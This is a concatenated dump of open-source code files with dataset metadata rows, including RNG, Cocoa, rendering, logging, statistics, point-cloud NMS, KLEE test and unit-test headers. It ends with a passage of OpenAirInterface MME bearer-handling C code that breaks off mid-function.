lcg128mix_step(rng);
} else {
lcg128mix_step(rng);
out = rng->state;
}
switch (rng->output_idx) {
case 0:
return pcg_output_xsl_rr(PCG_HIGH(out), PCG_LOW(out));
case 1:
return pcg_output_dxsm(PCG_HIGH(out), PCG_LOW(out), rng->dxsm_multiplier);
case 2:
return pcg_output_murmur3(PCG_HIGH(out), PCG_LOW(out));
case 3:
return pcg_output_upper(PCG_HIGH(out), PCG_LOW(out));
case 4:
return pcg_output_lower(PCG_HIGH(out), PCG_LOW(out));
case -1:
return rng->output_func(PCG_HIGH(out), PCG_LOW(out));
}
return (uint64_t)(-1);
}
typedef struct lcg128mix_STATE_T {
lcg128mix_random_t *pcg_state;
int use_dxsm;
int has_uint32;
uint32_t uinteger;
} lcg128mix_state_t;
static INLINE uint64_t lcg128mix_next64(lcg128mix_state_t *state) {
return lcg128mix_next(state->pcg_state);
}
static INLINE uint32_t lcg128mix_next32(lcg128mix_state_t *state) {
if (state->has_uint32) {
state->has_uint32 = 0;
return state->uinteger;
}
uint64_t value = lcg128mix_next(state->pcg_state);
state->has_uint32 = 1;
state->uinteger = value >> 32;
return (uint32_t)value;
}
void lcg128mix_set_state(lcg128mix_random_t *rng, uint64_t state[],
uint64_t inc[], uint64_t multiplier[]);
void lcg128mix_get_state(lcg128mix_random_t *rng, uint64_t state[],
uint64_t inc[], uint64_t multiplier[]);
void lcg128mix_seed(lcg128mix_random_t *rng, uint64_t state[],
uint64_t inc[], uint64_t multiplier[]);
void lcg128mix_advance(lcg128mix_state_t *rng, uint64_t step[]);
#endif /* lcg128mix_H_INCLUDED */ | 32.226415 | 80 | 0.684133 |
69cfea7508a7e28513ff039a8ef938da803a8f70 | 315 | h | C | Wires/WiresAppDelegate.h | meshula/Wires | 6d302b7301d99105c138f1c0388e1e50f6a1c81e | [
"MIT"
] | 1 | 2021-12-31T05:52:28.000Z | 2021-12-31T05:52:28.000Z | Wires/WiresAppDelegate.h | meshula/Wires | 6d302b7301d99105c138f1c0388e1e50f6a1c81e | [
"MIT"
] | null | null | null | Wires/WiresAppDelegate.h | meshula/Wires | 6d302b7301d99105c138f1c0388e1e50f6a1c81e | [
"MIT"
] | null | null | null | //
// WiresAppDelegate.h
// Wires
//
// Copyright (c) 2014 PlanetIx. All rights reserved.
//
#import <Cocoa/Cocoa.h>
#import <SpriteKit/SpriteKit.h>
@interface WiresAppDelegate : NSObject <NSApplicationDelegate>
@property (assign) IBOutlet NSWindow *window;
@property (assign) IBOutlet SKView *skView;
@end
| 17.5 | 62 | 0.730159 |
a3172dd24a05ec0fc47d8df3fa29f2e1e463c9e8 | 300 | h | C | rw_rh_engine_lib/data_desc/light_system/point_light.h | petrgeorgievsky/gtaRenderHook | 124358410c3edca56de26381e239ca29aa6dc1cc | [
"MIT"
] | 232 | 2016-08-29T00:33:32.000Z | 2022-03-29T22:39:51.000Z | rw_rh_engine_lib/data_desc/light_system/point_light.h | petrgeorgievsky/gtaRenderHook | 124358410c3edca56de26381e239ca29aa6dc1cc | [
"MIT"
] | 10 | 2021-01-02T12:40:49.000Z | 2021-08-31T06:31:04.000Z | rw_rh_engine_lib/data_desc/light_system/point_light.h | petrgeorgievsky/gtaRenderHook | 124358410c3edca56de26381e239ca29aa6dc1cc | [
"MIT"
] | 40 | 2017-12-18T06:14:39.000Z | 2022-01-29T16:35:23.000Z | //
// Created by peter on 16.02.2021.
//
#pragma once
namespace rh::rw::engine
{
// TODO: Try separating spot and point lights, may improve perf
struct PointLight
{
float mPos[3];
float mRadius;
float mDir[3];
float mSpotCutoff;
float mColor[4];
};
} // namespace rh::rw::engine | 16.666667 | 63 | 0.656667 |
0d4a8fae16d8ae1cda6bd8c76231d694f6ad9bc9 | 90 | c | C | software2/grlib_demo.c | mequetrefe-do-subtroco/ws_css_git | 7bff84181ca2cfaede9cd2b38afcd3226d152e13 | [
"MIT"
] | null | null | null | software2/grlib_demo.c | mequetrefe-do-subtroco/ws_css_git | 7bff84181ca2cfaede9cd2b38afcd3226d152e13 | [
"MIT"
] | null | null | null | software2/grlib_demo.c | mequetrefe-do-subtroco/ws_css_git | 7bff84181ca2cfaede9cd2b38afcd3226d152e13 | [
"MIT"
] | null | null | null |
#include "application/controllers.h"
int main(void)
{
controller_demonstration();
}
| 11.25 | 36 | 0.722222 |
4bc7096dba5a17515887154c9e16f6924735194f | 438 | h | C | src/receivers/log_action_receiver.h | proconsular/Email-Server | 4cc6974a5e086bc09a4c9e80c6e61b0302579d38 | [
"MIT"
] | null | null | null | src/receivers/log_action_receiver.h | proconsular/Email-Server | 4cc6974a5e086bc09a4c9e80c6e61b0302579d38 | [
"MIT"
] | null | null | null | src/receivers/log_action_receiver.h | proconsular/Email-Server | 4cc6974a5e086bc09a4c9e80c6e61b0302579d38 | [
"MIT"
] | null | null | null | //
// Created by Chris Luttio on 4/5/21.
//
#ifndef P8_WEB_SERVER_LOG_ACTION_RECEIVER_H
#define P8_WEB_SERVER_LOG_ACTION_RECEIVER_H
#include "receiver.h"
#include <string>
#include <utility>
class LogActionReceiver: public Receiver {
public:
explicit LogActionReceiver(std::string);
void receive(const Action &) override;
private:
std::string _filename;
FILE* _file;
};
#endif //P8_WEB_SERVER_LOG_ACTION_RECEIVER_H
| 17.52 | 44 | 0.755708 |
d474d3c1260a18fb3e36ca081bd05ccdc60c0c98 | 3,808 | c | C | Chapter 4/chapter4_sprint/sprint/sprint/src/algorithms/pRP/interface/rp.c | PacktPublishing/Mastering-Parallel-Programming-with-R | 35816b4177c9153118ca2d8142aceb6d8b32cb89 | [
"MIT"
] | 12 | 2016-06-27T15:13:29.000Z | 2021-11-14T18:36:43.000Z | Chapter 4/chapter4_sprint/sprint/sprint/src/algorithms/pRP/interface/rp.c | PacktPublishing/Mastering-Parallel-Programming-with-R | 35816b4177c9153118ca2d8142aceb6d8b32cb89 | [
"MIT"
] | 2 | 2016-07-26T02:00:55.000Z | 2018-08-02T07:29:06.000Z | Chapter 4/chapter4_sprint/sprint/sprint/src/algorithms/pRP/interface/rp.c | PacktPublishing/Mastering-Parallel-Programming-with-R | 35816b4177c9153118ca2d8142aceb6d8b32cb89 | [
"MIT"
] | 8 | 2017-04-25T02:13:37.000Z | 2021-12-08T07:12:59.000Z | /**************************************************************************
* *
* SPRINT: Simple Parallel R INTerface *
* Copyright © 2008-2011 The University of Edinburgh *
* *
* This program is free software: you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation, either version 3 of the License, or *
* any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program. If not, see <http://www.gnu.org/licenses/>. *
* *
**************************************************************************/
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdbool.h>
#include "../implementation/rank-product.h"
#include "../../../sprint.h"
void rank_product_(const double *data1, const int *nclass1_,
const double *data2, const int *nclass2_,
const int *ngenes_, const int *logarithmic_data_,
const int *rev_sorting_,
const int *rank_sum_,
double *ret)
{
int nclass1;
int nclass2;
const size_t ngenes = (const size_t)(*ngenes_);
bool logarithmic_data;
bool rev_sorting;
bool rank_sum;
fold_change_t *buf;
logarithmic_data = (bool)(*logarithmic_data_);
rev_sorting = (bool)(*rev_sorting_);
rank_sum = (bool)(*rank_sum_);
nclass1 = *nclass1_;
if ( NULL == nclass2_ ) {
nclass2 = 0;
} else {
nclass2 = *nclass2_;
}
/* Pre-allocate to avoid memory churn. */
buf = xmalloc(sizeof(fold_change_t) * ngenes, MPI_COMM_WORLD);
rank_product(buf, data1, nclass1, data2, nclass2, ngenes,
logarithmic_data, rev_sorting, rank_sum, ret);
free(buf);
}
void rank_product_multi_(const double *data1, const int *nclass1_,
const double *data2, const int *nclass2_,
const int *ngenes_, const int *norigins_,
const int *logarithmic_data_,
const int *rev_sorting_,
const int *rank_sum_,
double *ret)
{
int *nclass1;
int *nclass2;
int norigins;
const size_t ngenes = (const size_t)(*ngenes_);
bool logarithmic_data;
bool rev_sorting;
bool rank_sum;
fold_change_t *buf;
logarithmic_data = (bool)(*logarithmic_data_);
rev_sorting = (bool)(*rev_sorting_);
rank_sum = (bool)(*rank_sum_);
norigins = *norigins_;
nclass1 = (int *)nclass1_;
if ( NULL == nclass2_ ) {
nclass2 = xcalloc(norigins, sizeof(int), MPI_COMM_WORLD);
} else {
nclass2 = (int *)nclass2_;
}
/* Pre-allocate to avoid memory churn. */
buf = xmalloc(sizeof(fold_change_t) * ngenes, MPI_COMM_WORLD);
rank_product_multi(buf, data1, nclass1, data2, nclass2, ngenes,
norigins,
logarithmic_data, rev_sorting, rank_sum, ret);
free(buf);
}
| 40.510638 | 76 | 0.507878 |
72237439a2d617d2ec1ff6b809da2aab2ad806ad | 2,513 | h | C | spconv/include/spconv/nms_ops.h | hankeceli/3D-Object-Detection-for-AV | b6c17a4a3ecc9c32418baafa5b82cfd4704ed880 | [
"Apache-2.0"
] | null | null | null | spconv/include/spconv/nms_ops.h | hankeceli/3D-Object-Detection-for-AV | b6c17a4a3ecc9c32418baafa5b82cfd4704ed880 | [
"Apache-2.0"
] | null | null | null | spconv/include/spconv/nms_ops.h | hankeceli/3D-Object-Detection-for-AV | b6c17a4a3ecc9c32418baafa5b82cfd4704ed880 | [
"Apache-2.0"
] | null | null | null | // Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#ifndef NMS_TORCH_OP_H_
#define NMS_TORCH_OP_H_
#include <spconv/indice.h>
#include <spconv/nms_functor.h>
#include <spconv/reordering.h>
#include <tensorview/torch_utils.h>
#include <torch/script.h>
#include <utility/timer.h>
namespace spconv {
// torch.jit's doc says only support int64, so we need to convert to int32.
template <typename T>
torch::Tensor nonMaxSuppression(torch::Tensor boxes, torch::Tensor scores,
int64_t preMaxSize, int64_t postMaxSize,
double thresh, double eps) {
// auto timer = spconv::CudaContextTimer<>();
tv::check_torch_dtype<T>(boxes);
auto resOptions =
torch::TensorOptions().dtype(torch::kInt64).device(boxes.device());
if (boxes.size(0) == 0) {
return torch::zeros({0}, resOptions);
}
torch::Tensor indices;
if (preMaxSize > 0) {
auto numKeepedScores = scores.size(0);
preMaxSize = std::min(numKeepedScores, preMaxSize);
auto res = torch::topk(scores, preMaxSize);
indices = std::get<1>(res);
boxes = torch::index_select(boxes, 0, indices);
} else {
indices = std::get<1>(torch::sort(scores));
boxes = torch::index_select(boxes, 0, indices);
}
if (boxes.size(0) == 0)
return torch::zeros({0}, resOptions);
auto keep = torch::zeros({boxes.size(0)}, resOptions);
int64_t keepNum = 0;
if (boxes.device().type() == torch::kCPU) {
auto nmsFunctor = functor::NonMaxSupressionFunctor<tv::CPU, T, int64_t>();
keepNum = nmsFunctor(tv::CPU(), tv::torch2tv<int64_t>(keep),
tv::torch2tv<const T>(boxes), T(thresh), T(eps));
} else {
TV_ASSERT_RT_ERR(false, "not implemented");
}
if (postMaxSize <= 0) {
postMaxSize = keepNum;
}
// std::cout << keep << std::endl;
keep = keep.slice(0, 0, std::min(keepNum, postMaxSize));
if (preMaxSize > 0) {
return torch::index_select(indices, 0, keep);
}
return keep;
}
} // namespace spconv
#endif
| 34.424658 | 78 | 0.66534 |
3727ef2b4f184d59687fa3bc98a53d73d28157e1 | 186 | c | C | test/Feature/DoubleFree.c | wangpeipei90/cloud9 | a15558d1fa3e397b157b1191aa1ef9b225eef2dd | [
"BSD-3-Clause"
] | 40 | 2015-01-08T10:28:20.000Z | 2022-03-11T02:48:46.000Z | test/Feature/DoubleFree.c | mcanthony/cloud9 | a15558d1fa3e397b157b1191aa1ef9b225eef2dd | [
"BSD-3-Clause"
] | 3 | 2015-04-13T04:13:39.000Z | 2020-03-28T05:23:41.000Z | test/Feature/DoubleFree.c | mcanthony/cloud9 | a15558d1fa3e397b157b1191aa1ef9b225eef2dd | [
"BSD-3-Clause"
] | 24 | 2015-03-30T04:39:28.000Z | 2022-01-04T17:17:33.000Z | // RUN: %llvmgcc %s -emit-llvm -O0 -c -o %t1.bc
// RUN: %klee %t1.bc
// RUN: test -f klee-last/test000001.ptr.err
int main() {
int *x = malloc(4);
free(x);
free(x);
return 0;
}
| 16.909091 | 47 | 0.564516 |
816d35a88aa1b376fd8da0c0482bf21be20c7fde | 2,266 | h | C | qamsource/podmgr/podserver/cardmanager/xchan.h | rdkcmf/rdk-mediaframework | 55c7753eedaeb15719c5825f212372857459a87e | [
"Apache-2.0"
] | null | null | null | qamsource/podmgr/podserver/cardmanager/xchan.h | rdkcmf/rdk-mediaframework | 55c7753eedaeb15719c5825f212372857459a87e | [
"Apache-2.0"
] | null | null | null | qamsource/podmgr/podserver/cardmanager/xchan.h | rdkcmf/rdk-mediaframework | 55c7753eedaeb15719c5825f212372857459a87e | [
"Apache-2.0"
] | null | null | null | /*
* If not stated otherwise in this file or this component's LICENSE file the
* following copyright and licenses apply:
*
* Copyright 2011 RDK Management
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef __CM_XCHAN_H__
#define __CM_XCHAN_H__
#include "cmThreadBase.h"
//
//#include "pfcresource.h"
#include "rmf_osal_event.h"
#ifdef GCC4_XXX
#include <list>
#else
#include <list.h>
#endif
#include "core_events.h"
#ifdef __cplusplus
extern "C" {
#endif
extern void xchanInit(void);
extern void xchanProtectedProc(void *par);
#ifdef __cplusplus
}
#endif
class cExtChannelFlow;
typedef enum
{
EXTCH_RESOURCE_CLOSED,
EXTCH_RESOURCE_OPEN
}extChStatus;
class cExtChannelThread:public CMThread
{
friend class cExtChannelFlow;
public:
cExtChannelThread(CardManager *cm,char *name);
~cExtChannelThread();
void initialize(void);
void run(void);
vector<cExtChannelFlow *> extChFlowList;
static unsigned char MutexValCount;
bool IsResourceOpen()
{
return extResourceStatus;
}
void FilterTableSection(uint8_t *bufPtr,cExtChannelFlow *pFlowList,int *offset, int *sectionLength);
private:
CardManager *cm;
rmf_osal_eventqueue_handle_t event_queue;
bool extResourceStatus; //open =1 closed = 0
static rmf_osal_Mutex ext_ch_req_flow_lock_mutex; //used to block a req_flow or del_flow so that only one req or del is active at a time
int new_flow_cnf_status;
int new_flow_cnf_flowID;
int del_flow_cnf_flowID;
int new_flow_cnf_flows_Remaining;
VL_IP_IF_PARAMS ipu_flow_params;
};
#endif
| 19.042017 | 152 | 0.691968 |
e4e4253dbab6b27e872c6c0f5301988139dedfe1 | 907 | h | C | NetworkingBlocks/Operations/NetworkOperation/TCNetworkOperation.h | tayphoon-ios/NetworkingBlocks | 25fa27e7d330c72c64c20e5b54065755e7e93768 | [
"MIT"
] | null | null | null | NetworkingBlocks/Operations/NetworkOperation/TCNetworkOperation.h | tayphoon-ios/NetworkingBlocks | 25fa27e7d330c72c64c20e5b54065755e7e93768 | [
"MIT"
] | null | null | null | NetworkingBlocks/Operations/NetworkOperation/TCNetworkOperation.h | tayphoon-ios/NetworkingBlocks | 25fa27e7d330c72c64c20e5b54065755e7e93768 | [
"MIT"
] | null | null | null | //
// TCNetworkOperation.h
// NetworkingBlocks
//
// Created by Tayphoon on 23/09/2017.
// Copyright © 2017 Tayphoon. All rights reserved.
//
#import "TCAsyncOperation.h"
#import "TCChainableOperation.h"
NS_ASSUME_NONNULL_BEGIN
@protocol TCNetworkClient;
/**
@abstract The operation is responsible for sending preconfigured NSURLRequest to the remote server and receiving back some response.
*/
@interface TCNetworkOperation : TCAsyncOperation<TCChainableOperation, TCChainableOperationOutput>
@property (nonatomic, weak) id<TCChainableOperationDelegate> delegate;
@property (nonatomic, weak) id<TCChainableOperationOutput> output;
/**
@abstract Initilize network operation
@param networkClient Network client class conforms `TCNetworkClient` protocol.
@return network operation
*/
+ (instancetype)operationWithNetworkClient:(id<TCNetworkClient>)networkClient;
@end
NS_ASSUME_NONNULL_END
| 25.914286 | 133 | 0.800441 |
1136af6c5c59a0e8c90197560c7b163b95fa09d9 | 659 | h | C | Cookstove/UnitTest (MKR1400)/minunit.h | prabuckt/HEED-Monitoring | 1b4fdf03aa76bfe901b1e112e9dc25fa63116767 | [
"MIT"
] | 2 | 2018-06-14T13:20:37.000Z | 2018-07-05T11:56:46.000Z | Cookstove/UnitTest (MKR1400)/minunit.h | rwilkins87/HELP-Monitoring-Interns | 1b4fdf03aa76bfe901b1e112e9dc25fa63116767 | [
"MIT"
] | null | null | null | Cookstove/UnitTest (MKR1400)/minunit.h | rwilkins87/HELP-Monitoring-Interns | 1b4fdf03aa76bfe901b1e112e9dc25fa63116767 | [
"MIT"
] | 2 | 2019-05-21T13:55:37.000Z | 2019-07-25T06:59:52.000Z | /* file: minunit.h */
/*************************************************************
Modification history:
1. 26/4/2013 J. Brusey add __FILE__ and __LINE__ so that it easier to
see where an assert is coming from.
*************************************************************/
#ifndef _MINUNIT_H
#define _MINUNIT_H
#define mu_strify1(s) #s
#define mu_strify(s) mu_strify1(s)
#define mu_assert(message, test) do { if (!(test)) return __FILE__ ":" mu_strify(__LINE__) ": assertion failed: " message; } while (0)
#define mu_run_test(test) do { const char *message = test(); tests_run++; if (message) return message; } while (0)
extern int tests_run;
#endif
| 43.933333 | 134 | 0.584219 |
f8de1c799d0dc56270d95e34c3c748839b49cf4a | 273,740 | c | C | src/mme_app/mme_app_bearer.c | ywang06/openair-cn | d1d0e45ec749fc49f749c65744084ee09ab1f3e5 | [
"Apache-2.0"
] | 4 | 2020-01-22T16:50:31.000Z | 2021-04-19T10:55:22.000Z | src/mme_app/mme_app_bearer.c | ywang06/openair-cn | d1d0e45ec749fc49f749c65744084ee09ab1f3e5 | [
"Apache-2.0"
] | null | null | null | src/mme_app/mme_app_bearer.c | ywang06/openair-cn | d1d0e45ec749fc49f749c65744084ee09ab1f3e5 | [
"Apache-2.0"
] | 5 | 2020-11-11T01:20:50.000Z | 2021-04-15T08:25:36.000Z | /*
* Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The OpenAirInterface Software Alliance licenses this file to You under
* the Apache License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*-------------------------------------------------------------------------------
* For more information about the OpenAirInterface (OAI) Software Alliance:
* contact@openairinterface.org
*/
/*! \file mme_app_bearer.c
\brief
\author Sebastien ROUX, Lionel Gauthier
\company Eurecom
\email: lionel.gauthier@eurecom.fr
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include <stdint.h>
#include <pthread.h>
#include "bstrlib.h"
#include "dynamic_memory_check.h"
#include "log.h"
#include "msc.h"
#include "assertions.h"
#include "conversions.h"
#include "common_types.h"
#include "intertask_interface.h"
#include "mme_config.h"
#include "mme_app_ue_context.h"
#include "mme_app_defs.h"
#include "mme_app_apn_selection.h"
#include "mme_app_pdn_context.h"
#include "mme_app_wrr_selection.h"
#include "mme_app_bearer_context.h"
#include "timer.h"
#include "common_defs.h"
#include "gcc_diag.h"
#include "mme_app_itti_messaging.h"
#include "mme_app_procedures.h"
#include "mme_app_esm_procedures.h"
#include "s1ap_mme.h"
#include "s1ap_mme_ta.h"
//----------------------------------------------------------------------------
// todo: check which one needed
static void mme_app_send_s1ap_path_switch_request_acknowledge(mme_ue_s1ap_id_t mme_ue_s1ap_id,
uint16_t encryption_algorithm_capabilities, uint16_t integrity_algorithm_capabilities,
bearer_contexts_to_be_created_t * bcs_tbc);
/**
* E-RAB handling.
*/
static void mme_app_handle_e_rab_setup_rsp_dedicated_bearer(const itti_s1ap_e_rab_setup_rsp_t * e_rab_setup_rsp);
static void mme_app_handle_e_rab_setup_rsp_pdn_connectivity(const mme_ue_s1ap_id_t mme_ue_s1ap_id, const enb_ue_s1ap_id_t enb_ue_s1ap_id, const e_rab_setup_item_t * e_rab_setup_item, const ebi_t failed_ebi);
static
void mme_app_send_s1ap_handover_request(mme_ue_s1ap_id_t mme_ue_s1ap_id,
bearer_contexts_to_be_created_t *bcs_tbc,
ambr_t *total_used_apn_ambr,
uint32_t enb_id,
uint16_t encryption_algorithm_capabilities,
uint16_t integrity_algorithm_capabilities,
uint8_t nh[AUTH_NH_SIZE],
uint8_t ncc,
bstring eutran_source_to_target_container);
/** External definitions in MME_APP UE Data Context. */
extern void mme_app_set_ue_eps_mm_context(mm_context_eps_t * ue_eps_mme_context_p, struct ue_context_s *ue_context, emm_data_context_t *ue_nas_ctx);
extern void mme_app_set_pdn_connections(struct mme_ue_eps_pdn_connections_s * pdn_connections, struct ue_context_s * ue_context);
//extern void mme_app_handle_pending_pdn_connectivity_information(ue_context_t *ue_context, pdn_connection_t * pdn_conn_pP);
extern pdn_context_t * mme_app_handle_pdn_connectivity_from_s10(ue_context_t *ue_context, pdn_connection_t * pdn_connection);
//------------------------------------------------------------------------------
static bool mme_app_construct_guti(const plmn_t * const plmn_p, const s_tmsi_t * const s_tmsi_p, guti_t * const guti_p)
{
/*
* This is a helper function to construct GUTI from S-TMSI. It uses PLMN id and MME Group Id of the serving MME for
* this purpose.
*
*/
bool is_guti_valid = false; // Set to true if serving MME is found and GUTI is constructed
uint8_t num_mme = 0; // Number of configured MME in the MME pool
guti_p->m_tmsi = s_tmsi_p->m_tmsi;
guti_p->gummei.mme_code = s_tmsi_p->mme_code;
// Create GUTI by using PLMN Id and MME-Group Id of serving MME
OAILOG_DEBUG (LOG_MME_APP,
"Construct GUTI using S-TMSI received form UE and MME Group Id and PLMN id from MME Conf: %u, %u \n",
s_tmsi_p->m_tmsi, s_tmsi_p->mme_code);
mme_config_read_lock (&mme_config);
/*
* Check number of MMEs in the pool.
* At present it is assumed that one MME is supported in MME pool but in case there are more
* than one MME configured then search the serving MME using MME code.
* Assumption is that within one PLMN only one pool of MME will be configured
*/
if (mme_config.gummei.nb > 1)
{
OAILOG_DEBUG (LOG_MME_APP, "More than one MMEs are configured. \n");
}
for (num_mme = 0; num_mme < mme_config.gummei.nb; num_mme++)
{
/*Verify that the MME code within S-TMSI is same as what is configured in MME conf*/
if ((plmn_p->mcc_digit2 == mme_config.gummei.gummei[num_mme].plmn.mcc_digit2) &&
(plmn_p->mcc_digit1 == mme_config.gummei.gummei[num_mme].plmn.mcc_digit1) &&
(plmn_p->mnc_digit3 == mme_config.gummei.gummei[num_mme].plmn.mnc_digit3) &&
(plmn_p->mcc_digit3 == mme_config.gummei.gummei[num_mme].plmn.mcc_digit3) &&
(plmn_p->mnc_digit2 == mme_config.gummei.gummei[num_mme].plmn.mnc_digit2) &&
(plmn_p->mnc_digit1 == mme_config.gummei.gummei[num_mme].plmn.mnc_digit1) &&
(guti_p->gummei.mme_code == mme_config.gummei.gummei[num_mme].mme_code))
{
break;
}
}
if (num_mme >= mme_config.gummei.nb)
{
OAILOG_DEBUG (LOG_MME_APP, "No MME serves this UE");
}
else
{
guti_p->gummei.plmn = mme_config.gummei.gummei[num_mme].plmn;
guti_p->gummei.mme_gid = mme_config.gummei.gummei[num_mme].mme_gid;
is_guti_valid = true;
}
mme_config_unlock (&mme_config);
return is_guti_valid;
}
//------------------------------------------------------------------------------
int
mme_app_handle_nas_pdn_disconnect_req (
itti_nas_pdn_disconnect_req_t * const nas_pdn_disconnect_req_pP)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
int rc = RETURNok;
DevAssert (nas_pdn_disconnect_req_pP );
if ((ue_context = mme_ue_context_exists_mme_ue_s1ap_id(&mme_app_desc.mme_ue_contexts, nas_pdn_disconnect_req_pP->ue_id)) == NULL) {
MSC_LOG_EVENT (MSC_MMEAPP_MME, " NAS_PDN_DISCONNECT_REQ Unknown ueId" MME_UE_S1AP_ID_FMT, nas_pdn_disconnect_req_pP->ue_id);
OAILOG_WARNING (LOG_MME_APP, "That's embarrassing as we don't know this UeId " MME_UE_S1AP_ID_FMT". Still sending a DSReq (PDN context infomation exists in the MME) and informing NAS positively. \n", nas_pdn_disconnect_req_pP->ue_id);
mme_ue_context_dump_coll_keys();
/** Send the DSR anyway but don't expect a response. Directly continue. */
/*
* Updating statistics
*/
mme_app_desc.mme_ue_contexts.nb_bearers_managed--;
mme_app_desc.mme_ue_contexts.nb_bearers_since_last_stat--;
update_mme_app_stats_s1u_bearer_sub();
update_mme_app_stats_default_bearer_sub();
/**
* No recursion needed any more. This will just inform the EMM/ESM that a PDN session has been deactivated.
* It will determine what to do based on if its a PDN Disconnect Process or an (implicit) detach.
*/
MessageDef * message_p = itti_alloc_new_message (TASK_MME_APP, NAS_PDN_DISCONNECT_RSP);
// do this because of same message types name but not same struct in different .h
message_p->ittiMsg.nas_pdn_disconnect_rsp.ue_id = nas_pdn_disconnect_req_pP->ue_id;
message_p->ittiMsg.nas_pdn_disconnect_rsp.cause = REQUEST_ACCEPTED;
/*
* We don't have an indicator, the message may come out of order. The only true indicator would be the GTPv2c transaction, which we don't have.
* We use the esm_proc_data to find the correct PDN in ESM.
*/
/** The only matching is made in the esm data context (pti specific). */
itti_send_msg_to_task (TASK_NAS_ESM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
/** Check that the PDN session exist. */
// pdn_context_t *pdn_context = mme_app_get_pdn_context(ue_context, nas_pdn_disconnect_req_pP->pdn_cid, nas_pdn_disconnect_req_pP->default_ebi, NULL);
// if(!pdn_context){
// OAILOG_ERROR (LOG_MME_APP, "We could not find the PDN context with pci %d for ueId " MME_UE_S1AP_ID_FMT". \n", nas_pdn_disconnect_req_pP->pdn_cid, nas_pdn_disconnect_req_pP->ue_id);
// mme_ue_context_dump_coll_keys();
// OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
// }
//
// bearer_context_t * bearer_context_to_deactivate = NULL;
// RB_FOREACH (bearer_context_to_deactivate, BearerPool, &ue_context->bearer_pool) {
// DevAssert(bearer_context_to_deactivate->bearer_state == BEARER_STATE_ACTIVE); // Cannot be in IDLE mode?
// }
// mme_app_get_pdn_context(ue_context, nas_pdn_disconnect_req_pP->pdn_cid, nas_pdn_disconnect_req_pP->default_ebi, nas_pdn_disconnect_req_pP->apn, &pdn_context);
// if(!pdn_context){
// OAILOG_ERROR (LOG_MME_APP, "No PDN context found for pdn_cid %d for UE " MME_UE_S1AP_ID_FMT ". \n", nas_pdn_disconnect_req_pP->pdn_cid, nas_pdn_disconnect_req_pP->ue_id);
// OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
// }
/**
* Check if the UE was deregisterd when the message was sent.
* TAU might be sent in deregistered, but the S11 response might be received in REGISTERED state (response currently not used).
*/
/** Don't change the bearer state. Send Delete Session Request to SAE-GW. No transaction needed. */
if(nas_pdn_disconnect_req_pP->saegw_s11_ip_addr.s_addr != 0){
uint8_t internal_flags = (ue_context->mm_state == UE_UNREGISTERED) ? INTERNAL_FLAG_SKIP_RESPONSE : INTERNAL_FLAG_NULL;
rc = mme_app_send_delete_session_request(ue_context, nas_pdn_disconnect_req_pP->default_ebi, nas_pdn_disconnect_req_pP->saegw_s11_ip_addr, nas_pdn_disconnect_req_pP->saegw_s11_teid, nas_pdn_disconnect_req_pP->noDelete,
nas_pdn_disconnect_req_pP->handover, internal_flags);
} else {
OAILOG_WARNING(LOG_MME_APP, "NO S11 SAE-GW S11 IPv4 address in nas_pdn_connectivity of ueId : " MME_UE_S1AP_ID_FMT "\n", nas_pdn_disconnect_req_pP->ue_id);
}
OAILOG_FUNC_RETURN (LOG_MME_APP, rc);
}
// sent by NAS
//------------------------------------------------------------------------------
void
mme_app_handle_conn_est_cnf (
itti_nas_conn_est_cnf_t * const nas_conn_est_cnf_pP)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
itti_mme_app_connection_establishment_cnf_t *establishment_cnf_p = NULL;
OAILOG_DEBUG (LOG_MME_APP, "Received NAS_CONNECTION_ESTABLISHMENT_CNF from NAS\n");
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, nas_conn_est_cnf_pP->ue_id);
if (ue_context == NULL) {
MSC_LOG_EVENT (MSC_MMEAPP_MME, " NAS_CONNECTION_ESTABLISHMENT_CNF Unknown ue " MME_UE_S1AP_ID_FMT " ", nas_conn_est_cnf_pP->ue_id);
OAILOG_ERROR (LOG_MME_APP, "UE context doesn't exist for UE " MME_UE_S1AP_ID_FMT "\n", nas_conn_est_cnf_pP->ue_id);
// memory leak
// bdestroy_wrapper(&nas_conn_est_cnf_pP->nas_msg);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
message_p = itti_alloc_new_message (TASK_MME_APP, MME_APP_CONNECTION_ESTABLISHMENT_CNF);
establishment_cnf_p = &message_p->ittiMsg.mme_app_connection_establishment_cnf;
